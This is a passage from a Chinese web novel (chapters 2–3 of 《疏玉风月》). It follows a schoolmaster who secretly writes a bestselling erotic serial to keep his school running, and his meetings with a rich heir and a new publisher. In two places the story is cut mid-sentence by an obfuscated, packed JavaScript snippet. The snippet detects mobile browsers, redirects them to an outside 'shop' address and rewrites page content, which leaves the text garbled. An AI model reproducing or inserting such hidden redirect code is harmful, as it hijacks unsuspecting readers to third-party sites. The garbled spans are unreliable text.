《疏玉风月》 3. 第二章 听闻这一称呼,沈疏玉微怔。 平素他向来只被人称作沈先生,这般直白又带着几分轻佻热忱的称呼,还是头一遭听见。 再瞧瞧眼前人的打扮与神态,便知不是一般人物。加之他性子温雅,不愿在陌生人面前多做追问,只微微敛了神色,温声致歉:“刚才是我莽撞了,多谢先生关心,我并无大碍。” 他着急去寻找那消失在街头巷尾的男人,说完这话,便偏头望去,目露急切。身姿如此挺拔,眉眼俊丽,明明受了些惊吓,却依旧端方有礼,连道歉都显得温柔如玉。 这年轻男人眉梢便挑高,目光在他这张清艳绝伦的脸上多停了片刻,又热心问道:“我看你方才跑得急,是在找人?若是信得过,我或许能帮上忙。” 沈疏玉转过头,摇了摇头,嘴角勾起一抹浅淡却疏离的笑:“不碍事,许是已经走散了,我自己再寻寻便是,不劳烦先生了。” 他态度温和,却带着一层淡淡的距离感,分明是不愿过多牵扯。 这男人也不恼,一双眼睛直勾勾地看着沈疏玉,最后温和地说了一声:“那好,你自己多加小心,云城街头乱。” 沈疏玉对他道了声感谢,因着急找到那个男人,便立即转身离去。 年轻人没有着急回去,站在街上望着他远去的身影,见他彻底消失在视线里,才转身弯腰,利落地钻回车内。 司机老庚早就将这一切看在眼里,等车子缓缓启动,才从后视镜里看了一眼身后男人的面色,试探着低声问道:“二少,刚才那位先生……要不要我顺手去查一查?” 这话一出,齐绍霖挑眉笑了一声,向后倾身,靠在柔软的车座上,指尖漫不经心地敲着膝盖,语气带着几分散漫:“查什么?不过看人生得好看,关切两句,我又不是街上的流氓,还能强抢不成?” 老庚不再多言,专心开车。 不知怎么的,这条街堵得厉害,半天也不见挪动。齐绍霖百无聊赖,随手捞过身侧一本装帧精致的小册子,封面只题了两个字——《风月》。 虽只是两个字,笔锋清隽秀雅,婉转如流水,骨力藏于柔美之中,一眼望去便知是极有功底的好字。 齐绍霖指尖微顿,心里先赞叹了一声:这字写得真好,清灵秀润,竟比不少名家手笔还要耐看。 翻开一看,里面的字却是印刷体,方方正正,无趣肃正,倒让他有些许失望,却还是低头认真看了起来。 封面上的字一笔一画温润干净,风骨犹存,偏偏书里写的,又是缠绵悱恻的床笫之欢。 “这东西哪来的?”齐绍霖的语气中带了些许兴味。 老庚连忙回道:“回二爷,我知晓您平日里爱瞧些趣致玩意,这《风月》是近来云城最热销的话本,里面的内容香艳得很,真是抢都抢不着呢。” 齐绍霖听完,没再答话,反倒来了些许兴致,指尖缓缓翻过纸页。 里面的文字确实缠绵勾人,香而不浊,艳而不俗,全是文雅书面辞藻,却又描述得详尽入微。在这极致的规整中破出几分暧昧软意,反倒更勾得人心头发烫。 平日里这类读物用词大多粗俗浅白,人人都看得明白,可这本却偏偏不是如此。大抵正是这份独特的禁欲之气,才显得它独一无二,倒让那些粗俗艳本都沾了股难言的臭气,唯独这一本,透着几分馥郁馨香。 齐绍霖竟看了进去,微微入神,往后一翻,竟到了最后一页,才开口评价:“文采是真好,内容也足够香媚,就是太斯文了些。若是放浪一些,直白几分,定然更畅销。” 他盯着这一页,缓缓开口。 眼前这一页上,正写着:【纱灯半昏,罗帐轻软。暖香缠人,气息相惹。指尖轻撩春水深潭,指尖所触,皆是惹得娇娘轻颤。身似柔云,唇如温蜜,轻喘低哑间不敢高声,一晌缱绻,魂都似要化去,只愿长醉不醒,不问人间岁月。】 齐绍霖来来回回又翻了几遍,又摩挲起封面上那两个漂亮的题字,这才瞧见旁边写着此书作者:【软红生】。 这时,车停了,老庚出声道:“二少,到了。” 齐绍霖将东西直接塞进西装内侧的口袋,面上笑意更加张扬,丢下一句:“那就去看看,那老不死的这次是不是真要死了。” 夜色已然深沉,云城的晚风卷带着些许凉意,拂过私塾的青瓦。 沈疏玉拖着一身疲惫缓步归来,白日里奔走街巷的急切早已褪去,只剩下满身的疲倦。 他身上原本那件干净素雅的月白长衫,已然沾染了些许尘土。虽然疲惫不堪,但身姿依旧挺拔如竹,只是肩头微微垂着,显露几分劳累。 此时天色已晚,私塾里的学生、打扫院落的婶婶,还有寥寥几位教师都已归家。这私塾本是他一人创办,人一走空,便只剩他独自留守。 白日里还算热闹的私塾,顿时陷入一片清寂。 沈疏玉推门而入,木门在寂静中发出吱呀声响。他转身关上门扉,踏着一地月色,往自己的住处走去。 今日没能找到那个男人,他本打算向邻居打听,可那些人一听他要问那户人家的事,全都神色闪躲,要么低头不语,要么匆匆关门,对那家人的遭遇闭口不谈。 沈疏玉就这样走街串巷了一整天,无可奈何,只能一无所获地折返。 即便如此,他也没有气馁,想着明日再设法打听刘晚卿的下落,且还要给学生上课,便打算简单洗漱,早早歇息。 刚走到桌前,目光便落在桌角两封叠放整齐的信件上。 这是今日王婶婶代收后放在他桌上的,他还未曾打开细看。 他拆开第一封,是印刷厂的催款单。 私塾里的孩子大多家境贫寒,别说学费,就连纸笔都常常负担不起,少数能勉强交些费用的,也总是一拖再拖。 私塾的房租、日常开销、教师们的薪水,全靠沈疏玉伏案写稿换来的银钱支撑,勉强维持不倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253448|197970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭。 上次为学生印刷课本的费用,他实在拿不出,只能厚着脸皮赊账。 如今账单催到眼前,字字都透着迫人的窘迫。 可不久前他刚给几位教师发完薪水,早已囊中羞涩,这笔欠款,他一时间根本无法凑齐。 心中正烦恼着,他又拆开第二封信,是书社的催稿信,催的正是那本风靡云城的艳情话本《风月》的续集。 其实沈疏玉并非只会写这类风月文字,寻常文稿也能换些银钱,可唯独《风月》销量奇高,稿酬远胜其他。 他本是清端正直的读书人,提笔写下这般缠绵悱恻的文字,心中始终不安,甚至视为一种罪恶,是对文学的亵渎。 可每当生出停笔的念头,私塾的开销、学生的课本、教师的薪水便接踵而至,让他实在无法舍弃这条剑走偏锋的谋生之路。 望着这两封信,沈疏玉只得轻轻叹了口气,也不打算早早歇息,便坐在案前,备好纸笔,要在这清寂的长夜里,落笔写下那旖旎艳词。 昏黄的油灯在桌角轻轻跳跃,灯光落在他低垂的眉眼上,更衬得他容颜清艳、身姿清挺,神色却带着几分肃正,仿佛提笔要写的是策论文章,实则落下的是一纸缠绵。 沈疏玉年纪尚轻,尚未娶妻,也未曾与人有过风月之情,对此事一知半解,大多是从同类话本中了解。 初次细读这类文字时,他只觉羞耻,不敢多看,却也隐约知晓其中情事,便凭着想象斟酌成文。 初写时,他写得很慢、很涩,耳尖涨得通红,写完甚至不敢再细看,满心懊恼。 当时他本不打算投这篇稿子,准备寄另一篇,只因那日学生出事,匆忙间未曾发现稿中夹了这一章,收到回信才知,老板竟看中了这篇艳情故事。 原先拾珠书社的老社长,是位性情随和的老者,只要写得好、入他眼,无论题材,一概收录,专在坊间不起眼的文稿里淘选真珠。 那是沈疏玉第一次向该书社投稿,无意间夹杂了这篇文字,却被他一眼相中。当即回信说,若是把这故事一直写下去,定能风靡云城。 多数时候,若不是他点拨,沈疏玉还真不打算以此谋生。况且对方给出的稿酬丰厚,几乎是他支撑整个私塾的主要来源。 只是如今,老先生已然过世,书社由他的晚辈赵绪宁接手。 听闻这位赵先生年纪轻轻,气度不凡,行事端正磊落、刚正不阿。得知《风月》是从本书社流出时,他曾大发雷霆,后被旁人劝下,这本《风月》才得以继续在市面发行。 平日里,沈疏玉都是寄信过去,稿酬不日便会汇来。可他此刻急着用钱,只能亲自去书社一趟,问问赵绪宁能否提前发放稿酬。 可那人又是那性子……不知见了他亲自上门问钱,会不会不高兴…… 想着这些,沈疏玉在心中轻叹了一口气。 然而次日一早,他还是拿着新写的篇章,往拾珠书社走去。 4. 第三章 拾珠书社坐落在云城闹市街角。虽说时间还早,天穹仍笼罩着淡淡的薄雾,街衢上却已透出几分热闹气息。青灰招牌上“拾珠书社”四个古朴典雅的大字,在喧闹中格外显眼。 他算准了时间前来,以为今日早晨刚开张的书社不会太过喧嚣,谁知内里却异于往常,满地散落的书页、堆叠的纸捆、来回奔走的伙计,视野之内一片嘈乱。 他走了进来,竟无人注意到他。 沈疏玉心中困惑,见满室忙碌,便没有贸然上前打扰。他张望了一圈,瞧见窗案后坐着一个年轻男人,身着素色长衫,鼻梁上架着一副细框眼镜,气质清和、气度沉稳,正低头整理账册,与旁人相比稍显清闲,便上前一步,声音清润柔和:“这位先生……” 话未说完,赵绪宁便停了笔,缓缓抬头。 眼前之人眉目清绝、容色姝丽,气质干净如明月清风,一身文骨,仿佛不带半分烟火气。 他素来不好美色,此刻也不由怔愣了片刻,才听见对面的人继续说道:“我是书社长期合作的投稿作者,因有些急事,想请问这个月的稿费能不能提前预支?”言辞姿态,都温和有礼。 赵绪宁回神过来,敛了神色,先从案后站起身。 他一站起来,沈疏玉便需微微仰头看他。 这人竟生得如此高大,沈疏玉本就身形颀长,此刻还要仰视对方,心中微微惊叹,暗想他看着也是文人,怎会有这般身高。便听他问道:“请问先生投的是哪些稿子?我先帮你查一查。” 即便周围人行色匆匆,忙着各自的事,大概也不会听见他们的交谈,可光明正大地说出自己是那风靡全城的艳情话本作者,沈疏玉还是有些不好意思。 但见眼前人神色沉稳平静,想来应和老社长一样,是只重文采、不重题材之人,他动了动嘴唇,轻声道:“《风月》。”声音不大,却足以让对方听清。 “……” 见他忽然沉默,眉眼间还带着几分愕然,沈疏玉愈发羞赧。 先前与老社长谈妥此事,平日都是寄稿过来,稿费也由对方转交,只有老社长知晓这书是他所写。 如今老社长已然过世,自然要他亲自出面处理。 他始终觉得将这事摆上台面不妥,也不愿让旁人知晓是自己写的,可到了此刻,显然已是无可奈何。 “先生?”沈疏玉轻声唤了他一句。 赵绪宁这才回过神,做了个请的手势,道:“请随我到内室详谈。” 想来对方也觉得此事不便在大庭广众下细说,沈疏玉便跟着他走进了办公室。 这里原是老社长生前的屋子,格局依旧。先前沈疏玉与老社长谈事时,曾来过这里,木柜、旧桌、椅子都还保留着原样,只是多了不少西洋物件。 墙上挂着精致的西洋钟,桌角还摆着一台留声机。 赵绪宁进来后便要去找文稿,见沈疏玉还站在原地,先请他坐下。 老社长生前帮了沈疏玉不少,此刻再到这里,只觉物是人非,再也见不到那位总是笑着的老者,他心头微涩,听到赵绪宁的话,才轻轻坐下。 他刚想到什么,还没来得及深思,赵绪宁已从书架上找到前几期的《风月》,放在桌上,开口道:“因老先生不久前过世,书社许多事情来不及处理,也有不少人浑水摸鱼,冒充我们的合作作者索要稿费。所以每次都需要核实身份。这段时间书社混乱,若是你能稍等,我便去找凭证;若是时间紧急,你若能证明这书确实出自你手,稿酬我立刻让人给你取来。” 沈疏玉自然是急着用钱,不然也不会大清早就赶来预支稿酬。情急之下,他来不及多想,脱口而出:“我可以当场写一段,证明我的身份……”话说出口,他才猛然想起自己写的是什么书、什么内容。 这话,不就是要当场写那些片段吗?怎么能如此直白地说出口? 沈疏玉一时语塞,可话已出口,再也收不回,只把自己噎在原地。 耳尖“唰”地染上一层自己都未曾察觉的薄红,察觉到赵绪宁看过来的目光,他连忙垂下眼躲避视线,目光正好落在书封上的“风月”二字上,骤然想起那是自己的字迹,连忙找补道:“这封面上的字,是我亲笔所写。当时老社长特意让我题的,我可以再写一遍,先生一看便知。” 他坐在赵绪宁面前,赵绪宁站在他身侧,轻易便看见沈疏玉泛红的耳尖,如暖玉剔透。 赵绪宁没有点破他的窘迫,只应道:“好。” 应声之后,他便绕过桌案,为他准备好笔墨纸砚。 沈疏玉跟着走到案前,见赵绪宁微微让开身形,便上前执起狼毫,蘸饱墨汁,手腕轻转,笔尖落纸,墨色浓润。 一笔横平竖直,婉转藏锋,清隽秀雅,骨力内含,柔中带刚。 赵绪宁站在他身侧,视线先落在纸上,又顺着他修长的手指往上,掠过清瘦的腕骨、干净的袖口、利落的手臂、纤细的脖颈,最终停在他脸上。 他垂眸敛目,长睫纤纤,神色端肃,容颜如玉如竹、如月如霜。 那睫毛轻轻一颤,缓缓抬起,清亮的目光望了过来。 赵绪宁又才回过神,意识到他已经写完,连忙将视线移到纸上,开口道:“我信了,这字是你的字,这书也是你的书。” 听闻这话,沈疏玉心中松了口气,抬眼看向他,轻轻一笑。那笑容如冰雪消融、春风拂花,清雅温柔。 赵绪宁见他如此笑容,还未说话,便听见外面传来一阵喧闹吵嚷,即便隔着厚重的门板,还是打破了室内的寂静。 想来外面已然乱得不成样子,隐约还能听见书页翻动、伙计阻拦、混乱的脚步声。知道外面可能有人闹事,赵绪宁敛去神色,先对沈疏玉说了一声失礼,便朝门外走去。 沈疏玉还是第一次遇见这种事,自然也有些好奇,便跟了出去。 只见此时的拾珠书社依旧忙乱,明亮的天光透过木窗斜斜照射而入,原本因忙乱稍显拥挤的大堂,被一个突然闯入的青年搅得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253449|197970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更加混乱。 那青年一身规整漆黑的学生制服,身形挺拔、眉眼俊朗,浑身透着一股朝气蓬勃的锐气,气质坦荡明亮,眼神坚定。 从纽扣的样式上,隐约可以看出这是云城崇贤大学的学生。 沈疏玉知晓这所学校。 虽说名为“崇贤”,可里面的学生,都是云城有头有脸的富家子弟才上得起。 那是一所私立学校,学费高昂,教育资源也好,还有西洋来的教授教授科学。 可里面的学生大多有家产可以继承,多半不学无术,只是混个文凭,又因出身优越,不少人更是趾高气扬,很是讨人厌,他对这所学校的学生向来没什么好感。 瞧见眼前这人如此莽撞,沈疏玉也只当他是来闹事的。 果然便听见他高声喊道:“我要见你们的负责人!我要见你们的社长!”他手里紧紧攥着一份报纸,不顾众人阻拦,高声说道。 大概是见他们两人从里间出来太过显眼,那青年的视线忽然落在沈疏玉身上,随后凭借灵活壮硕的身形,硬是挡开众人,径直朝沈疏玉走来,在他面前站定,举起手中报纸,指着上面的一个笔名,声音急切地说:“先生,我叫齐绍扬,我着急找这个人,您看看能不能有什么线索帮帮我。” 沈疏玉知道他莫名把自己当成了书社的主事人,虽有些怔愣,还是顺着他的手指看去。 瞧见上面的署名时,他猛然一愣。 只因这“寒锋客”正是他曾经用过的笔名。 那时他还未撰写《风月》,尚有一腔热血,想以自己的笔尖做些事情。恰逢一家不起眼的小报社编撰这类文稿,他便以“寒锋客”为名投稿,文字犀利,针砭时弊,处处批判,锐利如刀锋。 后来那家小报社被查封,时局也紧张起来,他便不再用这个笔名。 有一回他请老社长到自己刚办起来的私塾做客,老社长发现他是这个笔名的曾经使用者,便特意叮嘱他,这个名字太过扎眼,容易引火烧身,往后绝不可再用。 那时他已历经风波,锋芒被磨平,知道其中利害,便答应下来。 只是有一次,他深夜心中感慨万千,在灯下伏案写了一篇散文,发觉自己的笔触早已没了半分锋芒,如被打磨过的玉石一般莹润温和。 想起曾经的笔名,怔愣间便写下了“寒锋客”。 后来心中愁绪翻涌,便在疲惫中睡去。 第二日,帮他寄稿件的小伙不识字,以为桌上这篇也是要寄的,便一同送了去。 那段时间老社长不在云城,没来得及审核这篇稿件,不知内情的工作人员便将文章登了出去。 直到收到两份稿费,沈疏玉才明白发生了什么。 好在那篇只是寻常抒情散文,他的文风也已大变,似乎没人记得当年的“寒锋客”,并未引起任何风波,此事也就此压下。 他万万没有想到,今日竟会有人因为这个笔名,直接闹上书社。 这人竟还姓齐。